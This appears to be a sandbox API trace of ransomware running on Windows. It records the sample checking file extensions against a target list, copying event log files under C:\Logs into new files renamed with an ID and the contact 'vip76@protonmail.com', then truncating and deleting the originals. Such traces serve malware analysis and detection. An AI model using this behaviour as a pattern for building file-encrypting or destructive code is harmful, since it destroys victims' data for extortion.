	[0074.910] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0074.910] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx")) returned 1
	[0074.911] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64
	[0074.911] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64
	[0074.911] lstrlenW (lpString=".doc") returned 4
	[0074.911] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0074.911] lstrlenW (lpString=".docx") returned 5
	[0074.911] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0074.911] lstrlenW (lpString=".pdf") returned 4
	[0074.911] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0074.911] lstrlenW (lpString=".xls") returned 4
	[0074.911] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0074.911] lstrlenW (lpString=".xlsx") returned 5
	[0074.911] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0074.911] lstrlenW (lpString=".ppt") returned 4
	[0074.911] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0074.911] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64
	[0074.911] lstrlenW (lpString=".zip") returned 4
	[0074.911] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0074.911] lstrlenW (lpString=".rar") returned 4
	[0074.911] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0074.911] lstrlenW (lpString=".bz2") returned 4
	[0074.911] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0074.911] lstrlenW (lpString=".7z") returned 3
	[0074.911] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0074.912] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64
	[0074.912] lstrlenW (lpString=".dbf") returned 4
	[0074.912] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0074.912] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64
	[0074.912] lstrlenW (lpString=".1cd") returned 4
	[0074.912] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0074.912] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64
	[0074.912] lstrlenW (lpString=".jpg") returned 4
	[0074.912] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0074.912] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64
	[0074.912] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64
	[0074.912] lstrlenW (lpString=".doc") returned 4
	[0074.912] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0074.912] lstrlenW (lpString=".docx") returned 5
	[0074.912] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0074.912] lstrlenW (lpString=".pdf") returned 4
	[0074.912] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0074.913] lstrlenW (lpString=".xls") returned 4
	[0074.913] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0074.913] lstrlenW (lpString=".xlsx") returned 5
	[0074.913] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0074.913] lstrlenW (lpString=".ppt") returned 4
	[0074.913] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0074.913] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64
	[0074.913] lstrlenW (lpString=".zip") returned 4
	[0074.913] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0074.913] lstrlenW (lpString=".rar") returned 4
	[0074.913] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0074.913] lstrlenW (lpString=".bz2") returned 4
	[0074.913] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0074.913] lstrlenW (lpString=".7z") returned 3
	[0074.913] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0074.913] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64
	[0074.913] lstrlenW (lpString=".dbf") returned 4
	[0074.913] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0074.913] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64
	[0074.914] lstrlenW (lpString=".1cd") returned 4
	[0074.914] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0074.914] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64
	[0074.914] lstrlenW (lpString=".jpg") returned 4
	[0074.914] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0074.914] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0074.914] lstrlenW (lpString="Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 53
	[0074.914] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0074.914] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x259ff14 | out: lpFileSize=0x259ff14*=69632) returned 1
	[0074.915] CloseHandle (hObject=0x2f8) returned 1
	[0074.915] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx")) returned 0x20
	[0074.915] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0074.915] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0074.915] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.915] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.915] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0074.916] GetLastError () returned 0x0
	[0074.916] ReadFile (in: hFile=0x2f8, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0075.126] WriteFile (in: hFile=0x328, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0075.128] ReadFile (in: hFile=0x2f8, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x0, lpOverlapped=0x0) returned 1
	[0075.128] WriteFile (in: hFile=0x328, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0075.128] SetEndOfFile (hFile=0x328) returned 1
	[0075.926] CloseHandle (hObject=0x328) returned 1
	[0075.929] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.929] SetEndOfFile (hFile=0x2f8) returned 1
	[0075.930] CloseHandle (hObject=0x2f8) returned 1
	[0075.930] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0075.931] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx")) returned 1
	[0075.931] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61
	[0075.931] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61
	[0075.931] lstrlenW (lpString=".doc") returned 4
	[0075.931] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0075.931] lstrlenW (lpString=".docx") returned 5
	[0075.931] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0075.931] lstrlenW (lpString=".pdf") returned 4
	[0075.931] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0075.931] lstrlenW (lpString=".xls") returned 4
	[0075.931] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0075.932] lstrlenW (lpString=".xlsx") returned 5
	[0075.932] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0075.932] lstrlenW (lpString=".ppt") returned 4
	[0075.932] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0075.932] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61
	[0075.932] lstrlenW (lpString=".zip") returned 4
	[0075.932] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0075.932] lstrlenW (lpString=".rar") returned 4
	[0075.932] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0075.932] lstrlenW (lpString=".bz2") returned 4
	[0075.932] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0075.932] lstrlenW (lpString=".7z") returned 3
	[0075.932] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0075.932] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61
	[0075.932] lstrlenW (lpString=".dbf") returned 4
	[0075.932] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0075.932] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61
	[0075.932] lstrlenW (lpString=".1cd") returned 4
	[0075.932] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0075.932] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61
	[0075.932] lstrlenW (lpString=".jpg") returned 4
	[0075.932] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0075.932] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61
	[0075.932] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61
	[0075.933] lstrlenW (lpString=".doc") returned 4
	[0075.933] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0075.933] lstrlenW (lpString=".docx") returned 5
	[0075.933] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0075.933] lstrlenW (lpString=".pdf") returned 4
	[0075.933] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0075.933] lstrlenW (lpString=".xls") returned 4
	[0075.933] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0075.933] lstrlenW (lpString=".xlsx") returned 5
	[0075.933] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0075.933] lstrlenW (lpString=".ppt") returned 4
	[0075.933] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0075.933] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61
	[0075.933] lstrlenW (lpString=".zip") returned 4
	[0075.933] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0075.933] lstrlenW (lpString=".rar") returned 4
	[0075.933] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0075.933] lstrlenW (lpString=".bz2") returned 4
	[0075.933] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0075.933] lstrlenW (lpString=".7z") returned 3
	[0075.933] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0075.933] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61
	[0075.933] lstrlenW (lpString=".dbf") returned 4
	[0075.933] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0075.933] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61
	[0075.933] lstrlenW (lpString=".1cd") returned 4
	[0075.934] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0075.934] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61
	[0075.934] lstrlenW (lpString=".jpg") returned 4
	[0075.934] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0075.934] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0075.934] lstrlenW (lpString="Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 64
	[0075.934] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0075.934] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x259ff14 | out: lpFileSize=0x259ff14*=69632) returned 1
	[0075.934] CloseHandle (hObject=0x2f8) returned 1
	[0075.934] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx")) returned 0x20
	[0075.934] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0075.935] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0075.935] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.935] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.935] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0075.936] GetLastError () returned 0x0
	[0075.936] ReadFile (in: hFile=0x2f8, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0075.939] WriteFile (in: hFile=0x328, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0075.942] ReadFile (in: hFile=0x2f8, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x0, lpOverlapped=0x0) returned 1
	[0075.942] WriteFile (in: hFile=0x328, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0x154, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0x154, lpOverlapped=0x0) returned 1
	[0075.942] SetEndOfFile (hFile=0x328) returned 1
	[0075.942] CloseHandle (hObject=0x328) returned 1
	[0075.944] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.945] SetEndOfFile (hFile=0x2f8) returned 1
	[0075.946] CloseHandle (hObject=0x2f8) returned 1
	[0075.946] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0075.946] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx")) returned 1
	[0075.947] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72
	[0075.947] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72
	[0075.947] lstrlenW (lpString=".doc") returned 4
	[0075.947] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0075.947] lstrlenW (lpString=".docx") returned 5
	[0075.947] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0075.947] lstrlenW (lpString=".pdf") returned 4
	[0075.947] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0075.947] lstrlenW (lpString=".xls") returned 4
	[0075.947] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0075.947] lstrlenW (lpString=".xlsx") returned 5
	[0075.947] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0075.947] lstrlenW (lpString=".ppt") returned 4
	[0075.947] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0075.947] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72
	[0075.947] lstrlenW (lpString=".zip") returned 4
	[0075.947] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0075.947] lstrlenW (lpString=".rar") returned 4
	[0075.947] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0075.947] lstrlenW (lpString=".bz2") returned 4
	[0075.948] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0075.948] lstrlenW (lpString=".7z") returned 3
	[0075.948] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0075.948] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72
	[0075.948] lstrlenW (lpString=".dbf") returned 4
	[0075.948] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0075.948] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72
	[0075.948] lstrlenW (lpString=".1cd") returned 4
	[0075.948] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0075.948] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72
	[0075.948] lstrlenW (lpString=".jpg") returned 4
	[0075.948] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0075.948] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72
	[0075.948] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72
	[0075.949] lstrlenW (lpString=".doc") returned 4
	[0075.949] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0075.949] lstrlenW (lpString=".docx") returned 5
	[0075.949] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0075.949] lstrlenW (lpString=".pdf") returned 4
	[0075.949] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0075.950] lstrlenW (lpString=".xls") returned 4
	[0075.950] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0075.950] lstrlenW (lpString=".xlsx") returned 5
	[0075.950] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0075.950] lstrlenW (lpString=".ppt") returned 4
	[0075.950] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0075.950] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72
	[0075.950] lstrlenW (lpString=".zip") returned 4
	[0075.950] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0075.950] lstrlenW (lpString=".rar") returned 4
	[0075.950] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0075.950] lstrlenW (lpString=".bz2") returned 4
	[0075.950] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0075.950] lstrlenW (lpString=".7z") returned 3
	[0075.950] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0075.950] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72
	[0075.950] lstrlenW (lpString=".dbf") returned 4
	[0075.950] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0075.950] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72
	[0075.950] lstrlenW (lpString=".1cd") returned 4
	[0075.950] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0075.950] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72
	[0075.950] lstrlenW (lpString=".jpg") returned 4
	[0075.950] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0075.951] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0075.951] lstrlenW (lpString="Microsoft-Windows-SettingSync%4Debug.evtx") returned 41
	[0075.951] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0075.952] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x259ff14 | out: lpFileSize=0x259ff14*=1052672) returned 1
	[0075.952] CloseHandle (hObject=0x2f8) returned 1
	[0075.952] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx")) returned 0x20
	[0075.953] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0075.953] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0075.953] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.953] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.953] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0075.953] GetLastError () returned 0x0
	[0075.953] ReadFile (in: hFile=0x2f8, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0xffff0, lpOverlapped=0x0) returned 1
	[0076.342] WriteFile (in: hFile=0x328, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0xffff0, lpOverlapped=0x0) returned 1
	[0076.360] ReadFile (in: hFile=0x2f8, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x1010, lpOverlapped=0x0) returned 1
	[0076.369] WriteFile (in: hFile=0x328, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0x1020, lpOverlapped=0x0) returned 1
	[0076.649] ReadFile (in: hFile=0x2f8, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x0, lpOverlapped=0x0) returned 1
	[0076.649] WriteFile (in: hFile=0x328, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0x126, lpOverlapped=0x0) returned 1
	[0076.650] SetEndOfFile (hFile=0x328) returned 1
	[0076.920] CloseHandle (hObject=0x328) returned 1
	[0076.943] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.943] SetEndOfFile (hFile=0x2f8) returned 1
	[0076.944] CloseHandle (hObject=0x2f8) returned 1
	[0076.944] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0076.944] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx")) returned 1
